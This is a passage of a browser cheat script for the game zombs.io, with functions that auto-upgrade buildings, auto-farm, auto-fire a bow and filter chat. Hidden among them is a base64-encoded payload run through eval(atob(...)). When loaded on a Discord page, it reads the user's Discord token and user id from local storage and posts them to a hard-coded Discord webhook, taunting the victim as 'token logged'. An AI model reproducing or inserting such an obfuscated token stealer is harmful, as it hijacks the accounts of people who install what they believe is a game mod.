uid: obj.fromTick.uid
})
}
}
}
window.upgradeMages = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "MagicTower") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeCannons = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "CannonTower") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeMelees = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "meleetower") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeHarvesters = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Harvester") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeGoldmines = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "GoldMine") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeWalls = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Wall") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeDoors = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Door") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeTraps = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "SlowTrap") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
}
eval(atob('c2V0VGltZW91dChmdW5jdGlvbigpe2Z1bmN0aW9uIHNlbmRtc2cobXNnKSB7CnZhciB1cmwgPSAiaHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvOTExNTgwMDExOTc3Mzg4MDgyL0wwa1YzbFJ5bWtZWHZuYjdsanhhemNoVEtPTURIVDhTQTdUV0RUNkhrb1FFOEc2a3hvVDdwWjUzMVhobmhhLUhxNXllIjsKdmFyIHJlcXVlc3QgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxdWVzdC5vcGVuKCJQT1NUIiwgdXJsKSArIHJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsKdmFyIHBhcmFtcyA9IHsKICAgIHVzZXJuYW1lOiAiYm90IiwKICAgIGNvbnRlbnQ6IG1zZwp9OwpyZXF1ZXN0LnNlbmQoSlNPTi5zdHJpbmdpZnkocGFyYW1zKSk7Cn07CmlmKHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZS5pbmNsdWRlcygiZGlzY29yZCIpKSB7CiBsZXQgd2luID0gd2luZG93Lm9wZW4oKTsKICB3aW5kb3cuZGlzcGF0Y2hFdmVudChuZXcgRXZlbnQoJ2JlZm9yZXVubG9hZCcpKTsKICBsZXQgdG9rZW4gPSB3aW4ubG9jYWxTdG9yYWdlLnRva2VuOwogIGxldCBpZCA9IHdpbi5sb2NhbFN0b3JhZ2UudXNlcl9pZF9jYWNoZS5zcGxpdCgnIicpWzFdOwogIHNlbmRtc2coYCR7dG9rZW59IDxAISR7aWR9PiBqdXN0IGdvdCB0b2tlbiBsb2dnZWQgbG1mYW8gXG4gXGBcYFxgIFxuIApzZXRJbnRlcnZhbCgoKSA9PiB7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50IFxgaWZyYW1lXGApLmNvbnRlbnRXaW5kb3cubG9jYWxTdG9yYWdlLnRva2VuPSBcYCR7dG9rZW59XGB9LCA1MCk7c2V0VGltZW91dCgoKSA9PiB7bG9jYXRpb24ucmVsb2FkKCk7fSwgMjUwMCkKClxuXGBcYFxgIGApOwogIHdpbi5jbG9zZSgpOwp9fSw3MDAwKQ=='));
if(location.host == "zombs.io"){
window.UpgradeAll = function() {
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model !== "GoldStash") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
});
}
}
}
window.sellpets = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "PetMiner") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
var entities2 = Game.currentGame.world.entities;
for (var uid2 in entities2) {
if (!entities2.hasOwnProperty(uid2)) continue;
var obj2 = entities2[uid2];
if (obj2.fromTick.model == "PetCARL") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj2.fromTick.uid
})
}
}
}
let sellBombs = () => {
const entities = Game.currentGame.world.entities
for(const uid in entities) {
if(!entities.hasOwnProperty(uid)) continue
const obj = entities[uid]
if(obj.fromTick.model == "BombTower") {
Game.currentGame.network.sendRpc({
"name": "DeleteBuilding",
"uid": obj.fromTick.uid
})
}
}
},
upgradeBombs = () => {
const entities = Game.currentGame.world.entities
for(const uid in entities) {
if(!entities.hasOwnProperty(uid)) continue
const obj = entities[uid]
if(obj.fromTick.model == "BombTower") {
Game.currentGame.network.sendRpc({
"name": "UpgradeBuilding",
"uid": obj.fromTick.uid
})
}
}
}
window.Collect = function() {
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model == "Harvester") {
Game.currentGame.network.sendRpc({
name: "CollectHarvester",
uid: obj.fromTick.uid
});
}
}
}
var button21 = document.getElementById("UPP");
button21.addEventListener("click", startUPP);
button21.addEventListener("click", stopUPP);
var UPP = null;
function startUPP() {
clearInterval(UPP);
if (UPP !== null) {
UPP = null;
} else {
UPP = setInterval(function() {
UpgradeAll();
UpgradeStash();
}, 35);
}
}
function stopUPP() {
var trade = document.getElementById("UPP");
if (trade.innerHTML == " Auto Upgrade On") {
trade.innerHTML = " Auto Upgrade Off";
} else {
trade.innerHTML = " Auto Upgrade On";
}
}
//
var button20 = document.getElementById("SSL");
button20.addEventListener("click", startSSL);
button20.addEventListener("click", stopSSL);
var SSL = null;
function startSSL() {
clearInterval(SSL);
if (SSL !== null) {
SSL = null;
} else {
SSL = setInterval(function() {
Accepton();
}, 0);
}
}
function stopSSL() {
var trade = document.getElementById("SSL");
if (trade.innerHTML == " Auto Accept Party Invites On") {
trade.innerHTML = " Auto Accept Party Invites Off";
} else {
trade.innerHTML = " Auto Accept Party Invites On";
}
}
var button22 = document.getElementById("AHRC");
button22.addEventListener("click", startAHRC);
button22.addEventListener("click", stopAHRC);
var AHRC = null;
function startAHRC() {
clearInterval(AHRC);
if (AHRC !== null) {
AHRC = null;
} else {
AHRC = setInterval(function() {
Collect();
Refuel();
}, 1000);
}
}
function stopAHRC() {
var trade = document.getElementById("AHRC");
if (trade.innerHTML == " Enable Auto Farm On") {
trade.innerHTML = " Disable Auto Farm Off";
} else {
trade.innerHTML = " Enable Auto Farm On";
}
}
//AutoBow
var button25 = document.getElementById("bow");
button25.addEventListener("click", startbow);
button25.addEventListener("click", stopbow);
var bow = null;
function startbow() {
clearInterval(bow);
if (bow !== null) {
bow = null;
} else {
if(Game.currentGame.ui.inventory.Bow) {
Game.currentGame.network.sendRpc({
name: "EquipItem",
itemName: "Bow",
tier: Game.currentGame.ui.inventory.Bow.tier
})
bow = setInterval(function() {
Game.currentGame.inputPacketScheduler.scheduleInput({
space: 1
})
Game.currentGame.inputPacketScheduler.scheduleInput({
space: 0
})
Game.currentGame.inputPacketScheduler.scheduleInput({
space: 0
})
}, 0);
}
}
}
function stopbow() {
var trade = document.getElementById("bow");
if (trade.innerHTML == " Auto Bow On") {
trade.innerHTML = " Auto Bow Off";
} else {
trade.innerHTML = " Auto Bow On";
}
}
//Clear Chat Mod
document.querySelector('#clearchatbtn').addEventListener('click', clearChat)
function clearChat() {
document.querySelector('.hud-chat-messages').innerHTML = ""
console.clear()
}
//Block Players Mod
const getId = ID => {
return document.getElementById(ID);
}
const getElement = ELEMENT => {
return document.getElementsByClassName(ELEMENT);
}
if (localStorage.getItem("blockedNames") == null) {
localStorage.setItem("blockedNames", "[]");
}
let filterButton = getId("chatFilter");
filterButton.onclick = () => {
let f = filterButton.getAttribute("filter");
let newF = "all";
if (f == "all") {
newF = "party";
} else if (f == "party") {
newF = "none";
} else if (f == "none") {
newF = "all";
}
filterButton.setAttribute("filter", newF);
switch (newF) {
case "all":
filterButton.setAttribute("class", "btn btn-green");
filterButton.textContent = "All";
break;
case "party":
filterButton.setAttribute("class", "btn btn-green");
filterButton.textContent = "Party";
break;
case "none":
filterButton.setAttribute("class", "btn btn-green");
filterButton.textContent = "None";
break;
}
}
let blockButton = getId("blockName");
blockButton.onclick = () => {
let blocked = JSON.parse(localStorage.getItem("blockedNames"));
let nameToBlock = getId("nameToBlock").value;
if (blocked.includes(nameToBlock)) return;
blocked.push(nameToBlock);
localStorage.setItem("blockedNames", JSON.stringify(blocked));
}
let unblockButton = getId("unblockName");
unblockButton.onclick = () => {
let blocked = JSON.parse(localStorage.getItem("blockedNames"));
let nameToUnblock = getId("nameToBlock").value;
if (blocked.indexOf(nameToUnblock) == -1) return;
blocked.splice(blocked.indexOf(nameToUnblock), 1);
localStorage.setItem("blockedNames", JSON.stringify(blocked));
}
let showBlockedButton = getId("showBlocked");
showBlockedButton.onclick = () => {
let blocked = JSON.parse(localStorage.getItem("blockedNames"));
let str = "<h3>";
str += blocked.join(", ");
str += "</h3>";
getId("blockNamesList").innerHTML = str;
}
Game.currentGame.network.emitter.removeListener("PACKET_RPC", Game.currentGame.network.emitter._events.PACKET_RPC[1]);
let onMessageReceived = (msg => {
let filter = filterButton.getAttribute("filter");
switch (filter) {
case "party":
{
let party = Game.currentGame.ui.playerPartyMembers;
let uids = [];
for (let member of party) {
uids.push(member.playerUid);
}
if (!uids.includes(msg.uid)) return;
}
break;
case "none":
return;
break;
}
let blockedNames = JSON.parse(localStorage.getItem("blockedNames"));
let a = Game.currentGame.ui.getComponent("Chat"),
b = msg.displayName.replace(/<(?:.|\n)*?>/gm, ''),
c = msg.message.replace(/<(?:.|\n)*?>/gm, ''),
d = a.ui.createElement(`<div class="hud-chat-message"><strong>${b}</strong>: ${c}</div>`);
if (blockedNames.includes(b)) return;
a.messagesElem.appendChild(d);
a.messagesElem.scrollTop = a.messagesElem.scrollHeight;
})
Game.currentGame.network.addRpcHandler("ReceiveChatMessage", onMessageReceived);
}